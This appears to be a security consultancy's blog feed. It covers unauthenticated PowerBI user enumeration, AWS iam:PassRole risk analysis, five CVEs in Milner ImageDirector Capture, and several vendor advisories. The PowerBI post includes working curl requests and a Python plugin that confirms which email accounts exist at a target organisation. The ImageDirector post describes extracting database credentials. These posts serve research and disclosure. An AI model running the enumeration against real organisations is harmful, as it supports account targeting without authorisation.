It can be difficult to turn wireless recon data into an actionable plan. Using tools like PacketHuffer, you can more easily make sense of Kismet data and identify targets on wireless engagements.

PacketHuffer source code can be found here. Feel free to contribute with additional rules and detection logic.

{"accountExists": true} User Enumeration with PowerBI

Tue, 19 May 2026 12:00:00 +0000

TL;DR

External pentests and red teams often need reliable techniques for identifying and validating target users. Traditional methods like TeamsEnum and onedrive_user_enum are useful, but can be false positive-prone or require further authentication. The PowerBI API exposes an unauthenticated endpoint that returns a definitive {"accountExists":true} or a 404/500, which can be used to enumerate valid email addresses for a given organization.

Introduction

As adversaries, we’re constantly looking for new ways to perform enumeration as platforms and APIs shift. Within the Microsoft ecosystem this is especially common, they move fast, deprecate APIs (looking at you, Azure AD Graph), and regularly change how products authenticate and communicate.

During a red team, we needed a reliable way to enumerate users in a large Microsoft Entra environment that had tenants configured with both Managed and Federated domains. However, the existing options weren’t cutting it:

TeamsEnum required authentication to get reliable results
onedrive_user_enum was returning hits on deprovisioned or inactive accounts, making results noisy and unreliable
MS Graph-based techniques had changed behavior, either not returning correct results, limited to only managed tenants, or requiring an actual authentication attempt to determine account validity, which risks triggering Smart Lockout or spray detection rules

We needed something that was unauthenticated, low-noise, and accurate.

Finding the Endpoint

To start, we leaned on prior research. My colleague Dave Parillo (@coffeebearsec) and I had previously done work on PowerBI that we called LetItGo, where we found that under the right tenant conditions (specifically, if self-service signup was enabled and an expired-but-configured domain was available), you could get PowerBI to create a new account for you in the target tenant without credentials.

Taking a similar approach, we started digging into the PowerBI authentication flow more broadly. PowerBI and its sibling platforms, Microsoft Fabric and Power BI Embedded, are notable in that they’re the only Microsoft services (that we’ve found) that maintain their own branded pre-auth entry point (/singleSignOn) rather than handing off directly to login.microsoftonline.com. This means they have their own pre-authentication logic, and that logic needs to resolve account state before it knows where to send you.

Digging into the API calls made during that flow, we found that all three make use of this endpoint:

POST https://api.powerbi.com/AADRedirect/public/email/accountStatus
Content-Type: application/json

{"emailAddress": "target@organization.com"}

Only the email address of the target organization is required.

The Response

The response from this API couldn’t be cleaner from an enumeration perspective.

Valid Account (200 OK)

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 42
RequestId: a25c8c51-a67a-460f-984e-cfe6685237c9

{"accountExists":true}

Invalid Account (404 Not Found)

HTTP/1.1 404 Not Found
Content-Type: application/octet-stream
RequestId: d19f8666-fded-4e3c-9973-cf1b11383580

[empty body]

Nonexistent Organization (500 Internal Server Error)

HTTP/1.1 500 Internal Server Error
Content-Type: application/json; charset=utf-8
Content-Length: 128
RequestId: b265cd37-d2c1-4a2a-b148-1fedb0df31f9

{"error":{"code":"AADEmailAccountStatusFailed","pbi.error":{"code":"AADEmailAccountStatusFailed","parameters":{},"details":[]}}}

The signal is a combination of HTTP status code and body

A valid account gets a 200 with {"accountExists":true}
An invalid account gets a 404 with no body and a content type of application/octet-stream
An account with an org that doesn’t exist gets a 500 with {"error":...}.

Using It in Practice

The simplest possible test:

# Valid user
curl -s -X POST "https://api.powerbi.com/AADRedirect/public/email/accountStatus" \
  -H "Content-Type: application/json" \
  -H "Origin: https://app.powerbi.com" \
  -d '{"emailAddress":"user@targetorg.com"}'
# Returns: {"accountExists":true}

# Invalid user
curl -s -X POST "https://api.powerbi.com/AADRedirect/public/email/accountStatus" \
  -H "Content-Type: application/json" \
  -H "Origin: https://app.powerbi.com" \
  -d '{"emailAddress":"nobody@targetorg.com"}'
# Returns: (empty, 404) or ({"error":..., 500)

And the CaptainCredz plugin implementation, which handles this as a pure enumeration module:

PYTHON CaptinCredz Plugin


class Plugin:
    def __init__(self, requester, pluginargs):
        self.requester = requester
        self.pluginargs = pluginargs

    def validate(self):
        return True, ""

    def testconnect(self, useragent):
        r = self.requester.get(
            "https://app.powerbi.com",
            headers={"User-Agent": useragent}
        )
        return r.status_code == 200

    def test_authenticate(self, username, password, useragent):
        data_response = {
            "result": None,
            "error": False,
            "output": "",
            "request": None
        }
        try:
            sess = self.requester.session()
            sess.headers.update({
                "User-Agent": useragent,
                "Content-Type": "application/json",
                "Origin": "https://app.powerbi.com",
            })
            r = sess.post(
                "https://api.powerbi.com/AADRedirect/public/email/accountStatus",
                json={"emailAddress": username},
                allow_redirects=False
            )
            data_response["request"] = r

            if r.status_code == 200:
                data_response["result"] = "potential"
                data_response["output"] = f"[+] VALID: {username}"
            elif r.status_code == 404:
                data_response["result"] = "nonexistant"
                data_response["output"] = f"[-] INVALID: {username}"
            elif r.status_code == 500:
                data_response["result"] = "nonexistant"
                data_response["output"] = f"[-] INVALID: {username}"
            else:
                data_response["result"] = "failure"
                data_response["output"] = f"[?] UNEXPECTED {r.status_code}: {username}"

        except Exception as ex:
            data_response["error"] = True
            data_response["output"] = str(ex)

        return data_response

Conclusion

User enumeration isn’t new, but having a single unauthenticated POST that returns a 200/404/500 for account validity is about as clean as it gets. No spray risk, no lockout, and no false positives from stale accounts. The fact that this lives under api.powerbi.com rather than the login.microsoftonline.com infrastructure makes this a valuable target for adversaries, as it’s an API for a product that prioritized broad adoption over tight auth controls.

One pattern worth internalizing: emerging or heavily-marketed Microsoft platforms like PowerBI, Fabric, Power BI Embedded, tend to maintain their own pre-auth flows outside the standard Entra HRD (home realm discovery) path, and those flows need to resolve account state somewhere. When you’re looking for new enumeration surfaces in a Microsoft environment, these bespoke sign-in flows are a good place to start. The attack surface is constantly evolving, and specific endpoints may be patched, but the pattern of looking here applies regardless.

If you have any questions or concerns, feel free to reach out to @illegitimateDA.

Analyzing Risk for IAM PassRole

Tue, 12 May 2026 12:00:00 +0000

The AWS iam:PassRole permission is one of the most foundational permissions in all IAM. It grants a principal the ability to assign roles to services. Unlike other privileged IAM permissions, which tend to allow for direct escalation paths, PassRole abuse is more nuanced and therefore it’s harder to assess the impact of PassRole assignments for principals. In this post, we will explore different methods of assessing risks associated with PassRole.

Overview

PassRole is an IAM permission only, not an action. You can assign it to a principal, but there is no corresponding API call. Instead, each service implements an action that in some way passes a role to the service/resource. For example, if you create a new Lambda Function, you are required to set an execution role. The CreateFunction call will check that the calling principal has the PassRole permission (also applies to similar actions like UpdateFunctionConfiguration).

Abuse

The risk of PassRole is hard to evaluate due to the complexity of an attack. The requirements for abuse are:

The compromised principal must have both the PassRole permission and the service-specific permission (ex: CreateFunction for Lambda).
- Also note: there is no official AWS documentation on which API actions also require PassRole. Developers must determine this on their own. The closest official resource is the list of services that integrate with IAM found here. Tenable also has a great post describing this issue here.
The attacker must be able to influence the service/resource that receives the role. This is the biggest difference as compared to direct privilege escalation permissions and is highly service specific.

As an example, we will use Lambda Function creation. The attacker will be operating from Role A, which has PassRole and CreateFunction permissions. The role they intend to pass is Role B and has administrator permissions (unconditional * on *). The attack steps are:

Attacker prepares the Lambda Function code in a way that allows them to achieve their desired goal. For example, by having the code assign them an administrator policy or by creating a new administrator role they can assume.
Attacker calls CreateFunction from Role A and specifies Role B as the new Function’s execution role
Attacker invokes the newly created Function
Lambda invokes the Attacker’s code and performs AWS actions using Role B, the administrator role

Defense

There are two primary ways to restrict PassRole in an IAM policy. The first is by using a Resource key to restrict the roles that can be passed.

JSON Restricting PassRole via a Resource


{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Sid": "1",
			"Effect": "Allow",
			"Action": "iam:PassRole",
			"Resource": "arn:aws:iam::123456789000:role/RoleA"
		}
	]
}

The second is by using one or more PassRole-specific IAM conditions, namely iam:PassedToService and iam:AssociatedResourceARN.

JSON Restricting PassRole via iam:PassedToService


{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Sid": "1",
			"Effect": "Allow",
			"Action": "iam:PassRole",
			"Resource": "arn:aws:iam::123456789000:role/RoleA",
			"Condition": {
				"StringEquals": {
					"iam:PassedToService": "lambda.amazonaws.com"
				}
			}
		}
	]
}

JSON Restricting PassRole via iam:AssociatedResourceARN


{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Sid": "1",
			"Effect": "Allow",
			"Action": "iam:PassRole",
			"Resource": "arn:aws:iam::123456789000:role/RoleA",
			"Condition": {
				"StringEquals": {
					"iam:AssociatedResourceARN": "arn:aws:lambda:us-east-1:123456789000:function:FunctionA"
				}
			}
		}
	]
}

The iam:PassedToService condition specifies which services can receive the role(s) whereas iam:AssociatedResourceARN specifies which resource can receive the role(s).

Evaluating Risk

To evaluate the risks associated with principals assigned PassRole, we need to understand both the outbound access that principal has as well as inbound access to that principal (e.g., a role that is assumable and has PassRole permissions). For this analysis, we will describe it schematically then demonstrate how to perform it using Neph.

For outbound access, we will focus on unconditional PassRole permissions as these represent the riskiest scenarios. Unconditional here means that there are no restrictions on the roles that can be passed nor on the services that can receive the roles. Schematically:

Identify all principals in an account
Retrieve their inline and attached policies
Expand policy wildcards then look for statements that allow PassRole
Filter those statements for ones without the IAM restrictions noted above
Validate that the effective permission set for the principal actually allows PassRole (e.g., there may be both an allow and a deny for PassRole across identity policies, permission boundaries, SCPs, etc).
(Optionally) Validate that the effective permission set allows the service-specific action

For inbound access, we will analyze trust policies for roles that have PassRole permissions to identify principals that can access those roles from both within the same account as well as from external accounts. Schematically:

For any role that has PassRole, analyze the trust policy for references to allowed principals, both explicit and wildcards
For each identified principal, validate that that principal can call AssumeRole against the target role with PassRole permissions

Note: you can also look for alternative mechanisms to access roles with PassRole permissions, such as if another abusable permission would allow for access to that role. For example, if you have a role that can call UpdateAssumeRolePolicy on the target role, you can update its trust policy to allow your role access.

Practical Analysis

For this analysis we will use Neph (release blog here), our open-source graph-based AWS security tool. For the more involved parts of the analysis, we will use the Jupyter Lab server included in the default Docker Compose deployment.

Neph relates both inline and attached policies to principals via an ATTACHED path:

ATTACHED path between two nodes

Policy nodes are enriched to include details about abusable permissions. This data is exposed via the iam_privesc and iam_privesc_permission node properties.

Since Neph considers PassRole an abusable permission, it will be included in these properties, making principal identification straightforward.

Privilege escalation node attributes on a policy node (also applies to inline policy nodes)

To filter these results for unconditional results, you can use a small code snippet to walk the policy statements and check for Resource and condition restrictions. The below snippet is a minimal example:

python Statement walking


import json
import copy
from neph.nodes import record_to_stub
from neph.aws.policies import get_allowed_actions_from_policy

results = session.run("""<QUERY>""").values()
for result in results:
    policy = record_to_stub(result[0], include_fakes=True)
    policy_dict = json.loads(policy.policy)
    statements = policy_dict.get("Statement", []) 
    
    for statement in statements:
        dummy_policy = copy.copy(policy_dict)
        dummy_policy["Statement"] = [statement]
        if "iam:PassRole" in get_allowed_actions_from_policy(dummy_policy):            
            if "Condition" not in statement:
                # logic here

Given a query returning policy nodes, this will load the results into a Neph node object then deserialize the policy data.
For each statement in the policy, create a full policy containing only that statement (the “dummy”). This is to isolate the positive results by statement.
The permissions in the statement are expanded then checked to see if iam:PassRole is present.

Example output using complete version of above code snippet.
AWSControlTowerExecution is an administrator role with full wildcard permissions.

Then validate that the effective set of policies for the principal does not disallow PassRole by using the Simulator. Note: PassRole is only an IAM permission, not an API call. However, the Neph Simulator will still work in this case.

Simulating PassRole using the Neph Simulator

This is equivalent to the following CLI command:

neph sim --principal "<ROLE ARN>" --action "iam:PassRole" --resource "*"

If you are interested in service-specific role passing actions, such as CreateFunction, you can then also simulate that action in addition to PassRole.

This piece of the analysis provides the set of principals with PassRole. For any roles within that list, it makes sense to also evaluate inbound access by analyzing the trust policies. If you’ve generated leads within Neph, you will already have inbound paths to the roles based on their trust policies. For example, if the trust policies allow assumption using an account-level trust, there will be a path to the role from that account.

Neph represents explicit principal references in trust policies using a CAN_ASSUME lead relationship. A trust policy like:

JSON Trust policy


{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Action": "sts:AssumeRole",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::123456789000:role/Role"
            }
        }
    ]
}

Will lead to the creation of a path like:

CAN_ASSUME LEAD path for explicit role trust

CAN_ASSUME LEAD path for account-level trusts

If roles trust entire accounts for assumption, Neph will use the CAN_ASSUME lead as well, but with the source node being an account instead of a role. You will need to expand that to the principals from that account by using the account_id attribute.

Role in account (bottom) that has CAN_ASSUME lead (top)

Additional analysis should then be performed to validate the source node can assume the role by using the Simulator to make an AssumeRole call from the source node to the target that has PassRole permissions.

Simulating AssumeRole using the Neph Simulator

Principals that can assume roles with PassRole represent additional risk as they effectively have the PassRole permission.

Extending Neph

You can leverage Neph’s extensibility to make initial PassRole target identification easier. As noted above, Neph enriches policy nodes that include abusable permissions with additional node attributes. The code responsible for this enrichment can be found here.

Source code for privilege escalation enrichment

The policy contents are checked to see if they contain any of the noted abusable permissions. Policies that do receive additional attributes. Neph also uses these abusable permissions for its privilege escalation fanout (code here).

Both checks can be repurposed to look for additional notable permissions, such as service-specific implementations of role passing operations like CreateFunction, either by looking for those specific permissions in isolation or by looking for them cooccurring with PassRole.

For this example, we will use the node enrichment as a basis for a new enrichment that looks for a combination of PassRole and one or more service-specific implementations, like CreateFunction

python PassRole Enrichment


SERVICE_SPECIFIC_PASSROLE = ["lambda:CreationFunction"]

class PassRoleCombinations(NodeEnrichment):
    nodes = [IamPolicy, IamInlinePolicy, IicInlinePolicy]

    @classmethod
    @add_session()
    def enrich(cls, stub, session: Session = None):
        if hasattr(stub, "policy") and (policy := getattr(stub, "policy")) is not None:
            policy_json = json.loads(policy)
            allowed_actions = get_allowed_actions_from_policy(policy_json)
            has_passrole = "iam:PassRole" in allowed_actions
            service_permissions = list(filter(lambda x: x in allowed_actions, SERVICE_SPECIFIC_PASSROLE))

            if has_passrole and len(service_permissions) > 0:
                parent = stub.get_parent()
                if parent == IamPolicy:
                    match = f"""MATCH (policy:{IamPolicy.label}{{arn: "{stub.arn}"}})"""
                elif parent in [IamInlinePolicy, IicInlinePolicy]:
                    match = f"""MATCH (policy:{IamInlinePolicy.label}|{IicInlinePolicy.label}{{principal_arn: "{stub.principal_arn}", name: "{stub.name}", policy: '{stub.policy}' }})"""
                else:
                    return

                permissions_str = json.dumps(service_permissions)
                query = f"""
                {match}
                SET policy.passrole_combination = "true"
                SET policy.passrole_combination_permissions = '{permissions_str}'
                """
                session.run(query)

This class is largely the same as the one linked above. The main difference is that it checks both for PassRole and the service permissions whereas the original only checks for abusable permissions, which includes PassRole
You can modify the SERVICE_SPECIFIC_PASSROLE list as needed to include additional permissions
This adds the passrole_combination and passrole_combination_permissions node attributes on matched nodes

After installing and running the enrichment (details here), you can query for matches based on the added attributes, passrole_combination and passrole_combination_permissions.

Policy node with new attributes from custom enrichment

Closing

PassRole is a highly privileged permission in AWS that requires a nuanced approach to understanding its risk. Using tools like Neph, you can better understand the inbound and outbound attack paths related to principals with PassRole permissions.

If you have any questions or concerns, feel free to reach out to @2xxeformyshirt. Neph source code can be found here.

Cracking Codes, Capturing Credentials: Five CVEs in Milner ImageDirector Capture

Tue, 05 May 2026 12:00:00 +0000

Summary

SRA encountered Milner ImageDirector Capture, a document scanning application, on a network penetration test. We identified and responsibly disclosed several vulnerabilities in this software. After the vendor provided a patch, we subsequently released five CVEs. This post explains the technical details of each CVE.

Introduction

ImageDirector Capture is a .NET Windows application that manages scanned documents. Users access Capture by logging into one or more endpoint devices. The endpoints store database credentials and authenticate to a central MSSQL database for storage. While individual users can add documents to the server, they should not be able to extract database credentials from the application. We audited Capture’s source code with dnSpy.

Note: we used the sample credential sa:password99 for demonstration purposes.

Spicy Bytes: Hardcoded Encryption Key

Capture uses stored credentials to connect to the database. It stores these credentials in C:\ProgramData\Comsquared\Capture\Connections.config.

Viewing encrypted credentials in Connections.config

It protects these credentials with encryption, but the GetPassword() and SetPassword() functions in C2SGlobalSettings.dll call the Password.Decrypt() function with a hardcoded key.

Observing hardcoded encryption keys in GetPassword and SetPassword functions

Looking at the definition of Password(), we see that the function defaults to a predefined key if it receives no input, and it uses the inline encryption key otherwise. We did not observe any instance where the application used this default key.

Observing default encryption key and override in Password function

After accepting the key as an inline function argument, Password() passes it to InitKey, which splits the input into a key and IV for encryption.

Observing the key initialization process in C2SConnection.dll

The InitKey function is deterministic: all passwords are encrypted with the same key and IV. If an attacker were to extract this key from one installation of ImageDirector Capture, they could decrypt passwords from other deployments.

This finding was assigned CVE-2025-58740.

Taking Off The Mask: Insecure Masked Credential Fields

In the Connection Settings dialog, ImageDirector Capture shows a field with the masked database password. Although the password is masked, it exists in the application’s memory as plaintext. We used the “Bullets Password View” tool from NirSoft to read these credentials.

Notably, we confirmed that the Connection Settings dialog was not vulnerable to this attack when manually launched from the Settings menu within the application. However, it was vulnerable when the application failed to connect to the database on initial load and subsequently loaded Connection Settings. We induced this state by setting the “ServerInstance” value in the program’s Connections.config file to a non-existent server address.

Viewing the masked password in the Connection Settings window

Extracting the database password with BulletsPassView

Deploying relevant meme

This finding was assigned CVE-2025-58741.

I’m The Server, Send Me Your Password: MSSQL Pass-Back

Revisiting the Connection Settings dialog, we wondered what would happen if we changed the Server IP address to a different value: would the application attempt to login? Yes, it would! We were able to extract the database password by pointing ImageDirector Capture at a mitmsqlproxy instance. After clicking Test Connection, the application sent its credentials over the network.

Intercepting database credentials with mitmsqlproxy

This finding was assigned CVE-2025-58742.

Doesn’t Encrypt Securely: DES

When we inspected the encryption function, we found that ImageDirector Capture uses the DES algorithm to encrypt and decrypt data. DES is insecure, and CISA recommends replacing it with a secure algorithm like AES-256.

Viewing DES encryption in the Encrypt function

This finding was assigned CVE-2025-58743.

All Your Backups Are Belong To Us: Hardcoded Credentials

In addition to the hardcoded encryption key for passwords, the application contains a hardcoded password (the DelayedTransmissionPassword), which is used for encrypting and decrypting archive backup files. An attacker with access to encrypted archive files would be able to decrypt the files with the password and extract data.

Viewing the hardcoded password in C2SGlobalSettings.dll

This finding was assigned CVE-2025-58744.

Conclusion

Timeframe

October 15-23, 2025 – SRA attempts to establish contact with Milner to disclose vulnerabilities.
November 04, 2025 – Milner acknowledges vulnerabilities and intent to fix.
December 31, 2025 – Milner releases ImageDirector Capture 7.6.3.25808.
January 20, 2026 – SRA publishes CVEs and advisory.

Advisory: Milner ImageDirector Capture

Tue, 20 Jan 2026 12:00:00 +0000

Summary

SRA has identified multiple vulnerabilities in Milner ImageDirector Capture that can lead to database access, credential access, database credential interception, and decryption of document archives.

CVE Identifiers

CVE ID	CVE Name
CVE-2025-58740	Hardcoded Encryption Key Enables Database Credential Access in Milner ImageDirector
CVE-2025-58741	Insecure Masked Credential Fields Enable Database Credential Access in Milner ImageDirector Capture
CVE-2025-58742	Insufficient Configuration Protections Enable Database Credential Interception in Milner ImageDirector Capture
CVE-2025-58743	Insecure Encryption Algorithm Enables Brute-Force of Database Credentials in Milner ImageDirector Capture
CVE-2025-58744	Hard-Coded Default Credentials Enable Document Archive Decryption in Milner ImageDirector Capture

Vulnerability Details / Description

CVE-2025-58740: Hardcoded Encryption Key Enables Database Credential Access in Milner ImageDirector

The Milner ImageDirector Capture application is vulnerable to credential exposure due to a hardcoded encryption key. The application stores a static cryptographic key within the C2SGlobalSettings.dll executable that encrypts database credentials. SRA identified this vulnerability by reverse engineering the Password function within the DLL, which revealed the hardcoded key used for credential encryption. An attacker can extract this key through static analysis of the executable and subsequently decrypt database credentials stored by the application at rest

Severity

The CVSS base score of this vulnerability has been calculated to be 8.5 (High)

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H

CVE-2025-58741: Insecure Masked Credential Fields Enable Database Credential Access in Milner ImageDirector Capture

The Milner ImageDirector Capture application is vulnerable to credential disclosure through memory analysis. The Connection Settings dialog stores database credentials in plaintext within application memory, including masked password fields that appear obfuscated in the user interface. SRA identified this vulnerability by opening the Connection Settings dialog and performing memory analysis using BulletsPassView on the running application process. The tool successfully extracted plaintext database usernames and passwords directly from process memory, despite the password field appearing masked with asterisks in the interface. The credentials remain accessible in memory for the duration that the dialog window stays open.

Severity

The CVSS base score of this vulnerability has been calculated to be 8.5 (High)

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H

CVE-2025-58742: Insufficient Configuration Protections Enable Database Credential Interception in Milner ImageDirector Capture

The Milner ImageDirector Capture application is vulnerable to credential interception through server redirection attacks. The Connection Settings dialog allows users to modify the database server address without clearing stored credentials, enabling an attacker to redirect authentication attempts to a malicious server. SRA identified this vulnerability by modifying the ‘Server’ field in the Connection Settings dialog to point to an attacker-controlled database server. When the application attempts to authenticate using the stored credentials, it transmits the username and password to the specified server address, allowing the attacker’s server to capture the plaintext authentication data. The application does not validate server certificates or implement additional protections against server redirection attacks.

Severity

The CVSS base score of this vulnerability has been calculated to be 8.5 (High)

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H

CVE-2025-58743: Insecure Encryption Algorithm Enables Brute-Force of Database Credentials in Milner ImageDirector Capture

The Milner ImageDirector Capture application is vulnerable to credential exposure through weak cryptographic implementation. The Password class within C2SConnections.dll uses the deprecated Data Encryption Standard (DES) algorithm to encrypt database credentials stored locally. SRA identified this vulnerability by reverse engineering the Password class and analyzing the cryptographic functions, which revealed the use of 56-bit DES encryption with a static initialization vector. The weak key length and algorithm design make encrypted credentials susceptible to brute-force attacks using modern computational resources.

Severity

The CVSS base score of this vulnerability has been calculated to be 7.2 (High)

CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:H/SI:H/SA:H

CVE-2025-58744: Hard-Coded Default Credentials Enable Document Archive Decryption in Milner ImageDirector Capture

The Milner ImageDirector Capture application is vulnerable to document decryption through hardcoded default credentials. The C2SGlobalSettings.dll contains a static “DelayedTransmissionPassword” that encrypts archived documents stored by the application. SRA identified this vulnerability by reverse engineering the C2SGlobalSettings.dll and locating the hardcoded password string within the compiled binary. The application uses this default password to encrypt document archives when users do not specify a custom delayed transmission password. An attacker can extract this hardcoded credential through static analysis and use it to decrypt any document archives encrypted with the default password, bypassing the intended document protection mechanisms.

Severity

The CVSS base score of this vulnerability has been calculated to be 6.9 (Medium)

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Affected Versions and Models

Milner ImageDirector Capture from 7.0.9 but before 7.6.3.25808. Versions prior to 7.0.9 may also be affected.

MITRE CWE Weakness Enumeration

CVE-2025-58740

CWE-321: Use of Hard-coded Cryptographic Key

CVE-2025-58741

CWE-522: Insufficiently Protected Credentials

CVE-2025-58742

CWE-522: Insufficiently Protected Credentials
CWE-923: Improper Restriction of Communication Channel to Intended Endpoints

CVE-2025-58743

CWE-327: Use of a Broken or Risky Cryptographic Algorithm

CVE-2025-58744

CWE-1392: Use of Default Credentials
CWE-798: Use of Hard-coded Credentials

Remediation Options

Update Milner ImageDirector Capture to 7.6.3.25808 or later.

Source

These vulnerabilities were discovered by Asa Reynolds and Rick Console as part of research performed by Security Risk Advisors.

Timeframe

October 15-23, 2025 – SRA attempts to establish contact with Milner to disclose vulnerabilities.
November 04, 2025 – Milner acknowledges vulnerabilities and intent to fix.
December 31, 2025 – Milner releases ImageDirector Capture 7.6.3.25808.
January 20, 2026 – SRA publishes CVEs and advisory.

Advisory: Quest Coexistence Manager for Notes

Fri, 19 Dec 2025 12:00:00 +0000

Summary

SRA has identified a vulnerability in Quest Coexistence Manager for Notes that can lead to bypassing access controls, poisoning web caches, hijacking sessions, or triggering unintended internal requests.

CVE Identifiers

CVE ID	CVE Name
CVE-2025-12874	HTTP Request Smuggling in Quest Coexistence Manager for Notes

Vulnerability Details / Description

Quest Coexistence Manager for Notes (3.8.2045) is vulnerable in the Free/Busy Connector to HTTP request smuggling from an unauthenticated remote attacker. The front-end and back-end components rely on inconsistent header parsing, resulting in desynchronized request boundaries. In this case, the front-end server uses the Content-Length header to determine the end of the request body, forwarding the full request. The back-end server interprets the request using Transfer-Encoding: chunked, processing only the first chunk (declared as zero-length) and treating the remaining bytes as a new, separate request. The attacker embeds a second, hidden request in the body of the original message. Due to the parsing mismatch, this smuggled request is processed independently by the back-end server.

Severity

The CVSS base score of this vulnerability has been calculated to be 6.3 (Medium).

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/U:Clear

Affected Versions and Models

Quest Coexistence Manager for Notes 3.8.2045

MITRE CWE Weakness Enumeration

CWE-444: Inconsistent Interpretation of HTTP Requests

Remediation Options

Update Quest Coexistence Manager for Notes to latest version.

Source

This vulnerability was discovered by Cam Lischke as part of research performed by Security Risk Advisors.

Timeframe

November 3, 2025 – SRA submits vulnerability support case to Quest.
November 4 through November 7, 2025 – SRA submits details of vulnerability to Quest.
December 9, 2025 – SRA notifies Quest of intent to publicly disclose.
December 12, 2025 – Quest acknowledges intent to publicly disclose.
December 17, 2025 – Quest notifies SRA of intent to create a knowledge base article for Quest Support Portal

Advisory: Brivo Access Control Systems

Mon, 19 Feb 2024 12:00:00 +0000

Summary

SRA has identified multiple vulnerabilities in Brivo Access Control Systems that can lead to the disclosure of sensitive system data and allow degradation or bypass of critical system functions.

CVE Identifiers

CVE ID	CVE Name
CVE-2023-6259	Local Access to Sensitive Data
CVE-2023-6260	Web UI OS Command Injection

Vulnerability Details / Description

CVE-2023-6259 – Local Access to Sensitive Data

An attacker with physical access to the ACS100 or ACS300 devices can access sensitive data from device memory that can be used to conduct additional attacks.

Severity

The CVSS severity level of this vulnerability has been calculated to be 7.1 (High)

CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE-2023-6260 – Web UI OS Command Injection

ACS300 (Physical Access)

An attacker with physical access to ACS300 devices can perform a command injection attack via the web UI and gain access to sensitive data that can be used to conduct additional attacks.

Severity

The CVSS base score of this vulnerability has been calculated to be 7.4 (High) for the physical access scenario:

CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

ACS100 (Adjacent Network Access)

An attacker with local network access to ACS100 devices can perform a command injection attack via the web UI and gain access to sensitive data that can be used to conduct additional attacks.

Severity

The CVSS severity level of this vulnerability has been calculated to be 9.0 (High) for the adjacent network access scenario:

CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Affected Versions and Models

Affects models ACS100, ACS300. Models ACS6000 and ACSSDC may also be affected.

Severity

Affects firmware versions from 5.2.4 but before 6.2.4.3. Versions prior to 5.2.4 may also be affected.

MITRE CWE Weakness Enumeration

CWE-284: Improper Access Control

CWE-522: Insufficiently Protected Credentials

CWE-77: Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

Remediation Options

Update affected devices to firmware version 6.2.4.3. Contact Brivo or your reseller for more information.

Source

These vulnerabilities were discovered by Alexandra Grochal and Gabe Siftar, as part of a research initiative for Security Risk Advisors’ internal hardware penetration testing team.

Timeframe

October 9, 2023 – SRA attempts initial contact with Brivo.
November 9, 2023 – SRA shares vulnerability details with Brivo’s product security team.
November 29, 2023 – SRA reserves CVE IDs.
December 15, 2023 – Brivo releases fix to production.

Conferences

Mon, 01 Jan 0001 00:00:00 +0000

The following is a list of conference talk given by Security Risk Advisors.

Year	Conference	Talk	Presenter	Resources
2026	DEFCON 34 Physical Village	Clone to Pwn: Remote Badge Cloning with the Flipper Zero	Langston Clement	GitHub
2026	BSides Pittsburgh	All You Have to Do is Ask: Compromising Companies Over the Phone	Annika Clarke	Slides
2026	BSides OT UK	Mind the Gap: Security on Paper, Reality on the Wire	Mandie Grosskopf	Slides
2026	Insomni’hack	Pruning Garden Paths in AWS	Evan Perotti	Slides Video
2026	BSides ICS/OT	Fabricating Kill Chains	Connor Jackson	Slides
2026	BSides ICS/OT	Mission: Resilient - Your OT Cybersecurity Maturity Made Possibles	Mandie Grosskopf	Slides
2025	BSides Philly	Hiding in Plain Sight: Weaponizing Developer Applications and Interpreted Languages to Evade Modern EDR	Annika Clarke	Slides Video
2025	BSides Philly	Letthemin: Facilitating High-Value Purple Teams Using an Assumed Compromise Approach	Sarah Hume	Slides
2025	BSides Philly	NAC to the Future	Richard Console	Slides Video
2025	BSides Philly	Screaming About Detection Coverage in ALLCAPS	Evan Perotti	Slides Video
2025	Burning River Cyber Con	Hiding in Plain Sight: Weaponizing Developer Applications and Interpreted Languages to Evade Modern EDR	Annika Clarke	Slides
2025	Burning River Cyber Con	An OffSec Adventure Through Modern CI/CD Systems	Jonathan Callahan	Slides
2025	BSides Chicago	Pruning Garden Paths in AWS	Evan Perotti	Slides
2025	Rochester Security Summit	What Could Go Wrong? AI Security Mistakes Event Fortune 500 Companies Are Making	Savannah Alfaro & Zachary Wallace	Slides Video
2025	DEFCON 33 Adversary Village	Letthemin: Facilitating High Value Purple Teams Using Assumed Compromise	Sarah Hume	Slides Video
2023	BSides Philly	GET IN THE BOX	Dan Astor & Jonathan Callahan	Slides Video
2023	BSides Philly	RPC Filter I Hardly Know Her	Evan Perotti	Slides Video
2023	Rochester Security Summit	A Hardware Hacker’s Perspective	Zachary Lehmann & Gabe Siftar	Slides Video
2021	ShellCon	Pipelines & Serverless & Automation, Oh My!	Cassandra Young, Jonathan Callahan, & Evan Perotti	Slides Video
2018	BSides Pittsburgh	Heavy Machinery and Burly Lumberjacks and Logging! Oh My!	Dan Astor & Evan Perotti	Slides Video
2017	BSides Philly	Threat Hunting: Defining the Process While Circumventing Corporate Obstacles	Kevin Foster, Matt Schneck, & Ryan Andress	Slides & Video
2017	BSides Philly	MFA: It’s 2017 and You’re Still Doing It Wrong	Chris Salerno & Dan Astor	Slides & Video
2017	BSides NOLA	Your New Red Team Hardware Survival Pack	Chris Salerno & Dan Astor	Slides

Privacy Policy

Mon, 01 Jan 0001 00:00:00 +0000

